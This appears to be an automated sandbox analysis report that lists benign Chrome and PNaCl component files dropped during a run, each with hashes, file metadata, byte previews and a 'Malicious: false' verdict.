{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469089072"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.751337347669987

Encrypted: false

SSDEEP: 384:5TSFtzImfw//V0aJ0N5riv933mpz2HXOG6dr4rNtxGHTDCrwxmoc6In5NRiOzzle:5uKdF+Xg+QeLRjP0nLCrKRndl0

MD5: 1D6950D496039C6EA04E1B17D0466DC7

SHA1: 53392A9664E6ECE4EEF22619BBEC1F9322B2F9C7

SHA-256: 4F9DCA81C810AFE6632D100FDF599B32D016DE320F39D61A2C4AC37D3F83CD32

SHA-512: DCA7126BD68853A1A7227305445A54068AF3F702923DBFD3D6E962868156C102BE8A1E734D3553CAF474BFA74F9D6BB05948FEE8A5D36606E0B6FFF264B181EC

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
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Preview: .t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 405164

Entropy (8bit): 6.0138799056005245

Encrypted: false

SSDEEP: 12288:lNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:lGe70o4VV10RzxxPjjt8r

MD5: 092FC945CDF40E67E1D39782670429E6

SHA1: 59A51A554B04ADFE224801AFB5ECB5F9226AC3F5

SHA-256: 659D5D67C7C2C14C58CB012DAB2C74DB043BA67BAC6045210531E76A89DA90ED

SHA-512: B612BA9A2B2C1DBC0CE073C4ACB48122144FF90D98BE21F8DC27B434F3B5050B84C69FC0BCEDD8E6A24478102DBA90BBFE991F40E206B1E73170977C1EE58B
6C

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075265799"},"policy":{"last_statistics_update":"133011720394281

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 408862

Entropy (8bit): 6.025691637274363

Encrypted: false

SSDEEP: 12288:YNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:YGe70o4VV10RzxxPjjt8r

MD5: 60D4BC12F0EA1D657C512C8D84A0BCEF

SHA1: F9112494F057FB79D5A94B52626791EEF35A1D7B

SHA-256: BE85793369A6C310CC32FA64ADD01580538286CE98D13CCB15A7FA26C340ECC6

SHA-512: 15780D6FE716FBA0F34C8CDC8E1DFB9DFFF62F63B8EAC20101C303AA67E5C7F7BD09AFA14268E221AFDE632BEDE3EE3690F40A45850B90BD8E7BAF2927DFD
399

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469089072"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 408770

Entropy (8bit): 6.025523426484636

Encrypted: false

SSDEEP: 12288:RNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:RGe70o4VV10RzxxPjjt8r

MD5: F0314144FB01BA32AEFEF06D75685804

SHA1: 5100A65C76FE371CDF1B3D39AD1C41852D124BE2

SHA-256: 26D655E9F175413A310054D640DFE184010DD5F458952A016025392AAF8D9C7F

C:\Users\user\AppData\Local\Google\Chrome\User Data\bda09afe-3f78-4cad-ab4f-99f832745be2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\d4c07509-270f-4050-a2af-d874a90cbf3f.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\f903a02f-8c44-424e-a7a6-489b9f2fd02c.tmp
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SHA-512: DC97BF57B0994BB4DECC37C3E1F4663E4BA7FA2E0DA9E715A296C58640E9AF75E7A437A5DCE2AE2C93FFF8C48BD3CB48D31BC06D74C042B0DD546BBBC0E3
C090

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469089072"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3034

Entropy (8bit): 5.876664552417901

Encrypted: false

SSDEEP: 48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4

MD5: 8B6C3E16DFBF5FD1C9AC2267801DB38E

SHA1: F5CADC5914DF858C96C189B092BC89C29407BBAA

SHA-256: FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

SHA-512: 37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F5
02

Malicious: false

Reputation: low

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1
sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsI
nJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWN
sX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfc
GxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
iOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit): 4.68252584617246

Encrypted: false

SSDEEP: 12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHA1: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433

C:\Users\user\AppData\Local\Temp\33bfeec9-b370-46cf-832c-3c6aa0b27512.tmp

C:\Users\user\AppData\Local\Temp\6004_270929196\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_pnacl_json
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SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3
E

Malicious: false

Reputation: low

Preview: {.    "COMMENT": [.        "This file serves as a template for the resource info description used by ", .        "the NaCl Chrome plugin.  It is kept in the NaCl repository to 
prevent ", .        "hard-coding of NaCl-specific information inside the Chrome repository.".    ], .    "abi-version": 1, .    "pnacl-arch": "x86-64", .    "pnacl-ld-name": "ld.nexe", 
.    "pnacl-llc-name": "pnacl-llc.nexe", .    "pnacl-sz-name": "pnacl-sz.nexe", .    "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2712

Entropy (8bit): 3.4025803725190906

Encrypted: false

SSDEEP: 48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE

MD5: 604FF8F351A88E7A1DBD7C836378AE86

SHA1: 9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3

SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302

SHA-512: 85B1EDA4C473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CB0AF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CF01EC0A158
40

Malicious: false

Reputation: low

Preview: .ELF..............>.................................@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..SP..h.........fff...................h.........fff.............J.$<[.,$J.l=....J.$<.....f......................................................................
...............................................................................................................NaCl....x86-64...........zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C
.........p.......`....C....C..B...... .......................<...............@.......X.......................t........................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-
clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2776

Entropy (8bit): 3.5335802354066246

Encrypted: false

SSDEEP: 48:b/5D5V5ej5ej5PjDdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVJB1ZFhLDOsT

MD5: 88C08CD63DE9EA244F70BFC53BBCADF6

SHA1: 8F38A113A66B18BAA02E2C995099CF1145A29DAA

SHA-256: 127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3

SHA-512: 78D2500493A65A23D101EC2420DC5F0CE8C75EFAC425C28547121643E4FB568E9D827EF2C0F7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95F

Malicious: false

Reputation: low

Preview: .ELF..............>.....................X...........@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..SP..h.......
..fff.............J.$<[.,$J.l=....J.$<.....f.K...............`.......P.......................z...................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com
/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c9
4a3a7da70f0081724448f)............zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......@....C....C.................@....C....C.................@...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 1520

Entropy (8bit): 2.799960074375893

Encrypted: false

SSDEEP: 12:Bvx/ekjlM/NQQmTfR9yp9396QQmTfR9C6wRqD8MTDDw7lEOkSbfuEAXwX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7b7CD8

MD5: 75E79F5DB777862140B04CC6861C84A7

SHA1: 4DB7BDC80206765461AC68CEC03CE28689BBEE0C

SHA-256: 74E8885B87ED185E6811C23942FD9BD1FBAC9115768849AF95A9DECF6644B2EA

SHA-512: FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB10B5FABC3C7C938E0E895E27EA0AC03CBFE8D0EEABF5300A4AD07F67FD96CC
253

Malicious: false

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
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Reputation: low

Preview: .ELF..............>.................................@.....@.........................NaCl....x86-64.......clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git 
ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f
)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.......................................................!...................................
.............................................................................................................................................................../../../pnacl/support/crtend.c.__EH_FRAME_END__.........................
......................................................................@...............................................................H.......................................P.......................H...............................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7511538a3a6a0b862c772eace49075ed1bbe2377, stripped

Category: dropped

Size (bytes): 2163864

Entropy (8bit): 6.07050487397106

Encrypted: false

SSDEEP: 24576:HPHonIwYZJ0ykwVO7Owf31yJKzCtxO8RSV4lY+PbeHVxCtjFV4lBNeSAmfGqa+A7:HvSMRwf3SKmlY+PyPvnM2Gq+

MD5: 0BB967D2E99BE65C05A646BC67734833

SHA1: 220A41A326F85081A74C4BB7C5F4E115D1B4B960

SHA-256: C6C2D0C2FC3E38A9BFA19C78066439C2F745393F1FD1C49C3C6777F697222C76

SHA-512: 8EF8689E00E4B210A30444D18ED6247F364995ABEB2FD272064C3AF671EEDB4D9B8B67CA56F72FEBF8F56896D4EA7EC4B10CB445FFA1C710C1F312E9DA0E48
96

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: low

Preview: .ELF..............>..... .......@.........!.........@.8...@......................................................................................................................................................{......W.................................
..............@.......@...............P.td.....h.......h.......h......4b......4b..............Q.td................................................................NaCl....x86-64..............GNU.u.S.:j..,w...u...#w.......
?......Y@.......@......1@......B@......P@.....@X@.....``@......h@.....pp@.....H.@.......@.......@.......@.......@.......@....`..@.......@.......A.......A......................p................@.......
.......?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?.y.P.D.?<.s..O.u......$@.......@...............@........................................ ... ....... 
.......@...`...`...`...`...................`...`...`...`...`...`...`...................................`...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 40552

Entropy (8bit): 4.127255967843258

Encrypted: false

SSDEEP: 768:xlP+1fzyUNVU5LmKxeOnjpD5eA/eUnUUxvT:xlP+1ryYMTekpD5eAWjuvT

MD5: 0CE951B216FCF76F754C9A845700F042

SHA1: 6F99A259C0C8DAD5AD29EE983D35B6A0835D8555

SHA-256: 7A1852EA4BB14A2A623521FA53F41F02F8BA3052046CF1AA0903CFAD0D1E1A7B

SHA-512: 7C2F9BF90EB1F43C17B4E14A077759FA9DC62A7239890975B2D6FD543B31289DC3B49AE456CA73B98DE9AC372034F340C708D23D9D3AAB05CCBDABDC56A631
4E

Malicious: false

Reputation: low

Preview: !<arch>./               0           0     0     0       624       `...................,...8...Z(..e...e...t...t...y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`........................fmod.fmodf.memcmp.
memcpy.memmove.memset.__nacl_read_tp.__pnacl_init_irt.longjmp.setjmp.__Sz_fptosi_f32_i64.__Sz_fptosi_f64_i64.__Sz_fptoui_f32_i32.__Sz_fptoui_f32_i64._
_Sz_fptoui_f64_i32.__Sz_fptoui_f64_i64.__Sz_sitofp_i64_f32.__Sz_sitofp_i64_f64.__Sz_uitofp_i32_f32.__Sz_uitofp_i32_f64.__Sz_uitofp_i64_f32.__Sz_uitofp_i64_f64.n
acl_tp_tdb_offset.nacl_tp_tls_offset.__Sz_bitcast_16xi1_i16.__Sz_bitcast_8xi1_i8.__Sz_bitcast_i16_16xi1.__Sz_bitcast_i8_8xi1.__Sz_fptoui_4xi32_f32.__Sz_uitofp_4
xi32_4xf32..e_fmod.o/       0           0     0     644     2792      `..ELF..............>.....................(...........@.....@.......................................PH..AVAUATSfI.~.M..I.. E....@.
A......D..D1.......8fI.~.M.....I.. E..A......D..D..t.D....D..f....D..=....r...Y...^.[A\A]A^..@..,$J.l=....J.$<A[A...M..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 132784

Entropy (8bit): 3.6998481247844937

Encrypted: false

SSDEEP: 384:Hf0mOXYmeKzQUIdedRFvT5p1Ee2HyAlL3O4:Hf7OXdmWRJT5p1R2HyAhO4

MD5: C37CA2EB468E6F05A4E37DF6E6020D0F

SHA1: EA787E5EADFB488632EC60D8B80B555796FA9FE9

SHA-256: C1483ED423FEE15D86E8B5D698B2CDAB89186CE7FF9C4E3D5F3F961FD80D7C6E

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
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https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis


SHA-512: 01281DE92B281FB29E1ACA96AA64B740B65CC3A9097307827F0D8DB9E1C164C56AFCDFA0BF138EA670A596D55CE2C8D722760744E9FC9343BB6514417BF333B
A

Malicious: false

Reputation: low

Preview: !<arch>./               0           0     0     0       942       `....;...|.......4...x..#...-...4l..E...M...U...]...n...u...~X...4.......................L......................t...p...............`......"...*...1...:...D...K...T
...\...d...r|..|0.......x...........L.......\...8..........................__clzti2.__compilerrt_fmax.__compilerrt_fmaxf.__compilerrt_logb.__compilerrt_logbf.__ctzti2.__divdc3.__divdi3.__div
moddi4.__divmodsi4.__divsc3.__divsi3.__divti3.__fixdfdi.__fixdfsi.__fixdfti.__fixsfdi.__fixsfsi.__fixsfti.__fixunsdfdi.__fixunsdfsi.__fixunsdfti.__fixunssfdi.__fixunssfsi
.__fixunssfti.__floatdidf.__floatdisf.__floatsidf.__floatsisf.__floattidf.__floattisf.__floatundidf.__floatundisf.__floatunsidf.__floatunsisf.__floatuntidf.__floatuntisf.compilerrt
_abort_impl.__moddi3.__modsi3.__modti3.__muldc3.__muloti4.__mulsc3.__multi3.__popcountdi2.__popcountsi2.__popcountti2.__powidf2.__powisf2.__udivdi3.__
udivmoddi4.__udivmodsi4.__udivmodti4.__udivsi3.__udivti3.__umoddi3.__umodsi3.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 13514

Entropy (8bit): 3.8217211433441904

Encrypted: false

SSDEEP: 192:uU9v4pXizdrEuxwk3vp20tprpdSGFwDqO:P9v4palvvc0tpFdSGFwmO

MD5: 4E8BEDA73EB7BD99528BF62B7835A3FA

SHA1: DC0F263A7B2A649D11FF7B56FE9CFAC44F946036

SHA-256: 6B835FD48DF505EB336FF6518CE7B93BB0ED854DADAA5C1EEED48D420291F62C

SHA-512: 46116B8BABC719676D68FD40D2AC82F38A3D13D8A482ADFC6FC32A99170AC3420E52CC33242CCD0FA723ABF4FA5EDBB9CE16A09C729BF04AE4AFBB2F67A1E
38B

Malicious: false

Reputation: low

Preview: !<arch>./               0           0     0     0       94        `................._pnacl_wrapper_start.__pnacl_real_irt_query_func.__pnacl_wrap_irt_query_func..shim_entry.o/   0           
0     0     644     7392      `..ELF..............>..................... ...........@.....@.........................NaCl....x86-64..................................A.L....A.L...D...........D....A.....t+.. u..t"..A.D.....
.....A... .....A.D...........f..D..<.......................Q.......................V.......................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163f
dd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f).../../
ppapi/native_client/src/untrusted/pnacl_irt_shim/shim_entry.c./mnt/data/b/build/slave/sdk/build/src/out_pnacl/x64.NACL_STARTUP_FINI.NACL_STARTUP_ENVC.
NACL_STARTUP_ARGC.NACL_STARTUP_ARGV.NaClStartupInfoIndex.unsigned int.size_t.char.TYPE_na

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 2078

Entropy (8bit): 3.21751839673526

Encrypted: false

SSDEEP: 24:MOcpdhWE5O/bZbmT3296bmT3TwQwDnvD/+R3:MHuECdaTS6aTTwXDvD/+l

MD5: F950F89D06C45E63CE9862BE59E937C9

SHA1: 9CFAD34139CC428CE0C07A869C15B71A9632365D

SHA-256: 945B1C8A1666CBF05E8B8941B70D9D044BAAFB59B006F728F8995072DE7C4C40

SHA-512: F9AFBB800A875EDCC63DEA4986179E73632B3182951A99C8B3D37DB454EFD7CC7192ECA5AC87514918A858BAD6DAEAB59548CA2E90EADA9900EF5B9F08E62
CFC

Malicious: false

Reputation: low

Preview: !<arch>./               0           0     0     0       30        `........._pnacl_wrapper_start..//                                              20        `.dummy_shim_entry.o/./0              0           0   
  0     644     1840      `..ELF..............>.................................@.....@.......................................PH..,$J.l=....J.$<.....f..D......................................NaCl....x86-64...clang version 
3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native
_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)............zR..x...................... ....C....C..... .........................rela.text..comment..bss..group..note.GNU-
stack..rela.eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.....................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=309d6d3d463e6b1b0690f39eb226b1e4c469b2ce, stripped

Category: dropped

Size (bytes): 14091416

Entropy (8bit): 5.928868737447095

Encrypted: false

SSDEEP: 196608:tKVqXp3Qev4dg6ilfHM8KLM2J3jqjnkZ:uqufB

